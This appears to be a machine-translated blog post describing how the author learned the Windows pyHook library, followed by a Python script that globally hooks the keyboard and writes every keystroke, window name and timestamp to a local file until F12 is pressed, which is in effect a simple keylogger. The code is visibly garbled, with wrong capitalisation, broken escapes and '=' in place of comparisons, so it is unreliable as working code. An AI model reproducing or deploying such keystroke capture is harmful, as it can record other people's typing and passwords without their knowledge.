Pyhooks learning experience on keyboard monitoring

Pyhooks

Download:Http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/

API manual:Http://pyhook.sourceforge.net/doc_1.5.0/

An example is provided on the above website. In addition, after installing pyhooks, there will also be an example file. So I learned how to install pywin32 when I first run it, prompting that the pythoncom module is not available. After the installation, it can run normally, but it will cause the machine to issue a card, especially the interruption.ProgramAfter running, the mouse will shake freely for a period of time. After looking for reasons for half a day, I feel that the event frequency is too high, and the program will often be stuck in pythoncom. pumpmessages ().

I searched the internet for half a day and saw a Post saying it was pythoncom. pumpmessages (N), N indicates the delay time, so I tried to change it and found it had some effect, but it was not obvious. Then I wondered if the program was not terminated because, the program is always stuck, so the program termination statement WIN32API is added. postquitmessage (). The results are satisfactory.

 #  -*-Coding: cp936 -*-  
  Import Pythoncom
Import Pyhook
 Import Time
 Import WIN32API
T = '' 
Asciistr = '' 
Keystr = '' 
 Def Onkeyboardevent (event ):
 Global T, asciistr, keystr
Filename = '  D: // test.txt  ' 
Wrfile = open (filename, '  AB  ' )
 "  Handle Keyboard Events  " 
 If T = STR (event. windowname ):
Asciistr = asciistr + CHR (event. ASCII)
Keystr = keystr + STR (event. Key)

 Else :
T = STR (event. windowname)
 If Asciistr = ''  And Keystr = '' :
Wrfile. writelines ( "  \ Nwindow: % s \ n  " % STR (event. Window ))
Wrfile. writelines ( "  Windowname: % s \ n  " % STR (event. windowname )) #  Write the name of the current form  
 Wrfile. writelines ( " Messagename: % s \ n  " % STR (event. messagename ))
Wrfile. writelines ( "  Message: % d \ n  " % Event. Message)
Wrfile. writelines ( "  Time: % s \ n  " % Time. strftime ( '  % Y-% m-% d % H: % m: % s  ' , Time. localtime ()))
 Else :
Wrfile. writelines ( "  Ascii_char: % s \ n  " % Asciistr)
Wrfile. writelines ( "  Key_char: % s \ n  " % Keystr)
Wrfile. writelines ( "  \ Nwindow: % s \ n  " % STR (event. Window ))
Wrfile. writelines ( "  Windowname: % s \ n  " % STR (event. windowname )) #  Write the name of the current form  
 Wrfile. writelines ( "  Time: % s \ n  " % Time. strftime ( '  % Y-% m-% d % H: % m: % s  ' , Time. localtime ()))

Asciistr = CHR (event. ASCII)
Keystr = STR (event. Key)
 If STR (event. Key) = ' F12  ' : # Terminate after F12 is pressed
Wrfile. writelines ( "  Ascii_char: % s \ n  " % Asciistr)
Wrfile. writelines ( "  Key_char: % s \ n  " % Keystr)
Wrfile. Close ()
WIN32API. postquitmessage ()

 Return True



If   _ Name __ = "  _ Main __  " :
 '''  
Small Five: http://www.cnblogs.com/xiaowuyi
  ''' 

 #  Create hook handle  
 Hm = pyhook. hookmanager ()

 #  Monitoring keyboard  
 Hm. keydown = onkeyboardevent
Hm. hookkeyboard ()

 #  Obtain messages cyclically  
 Pythoncom. pumpmessages (10000)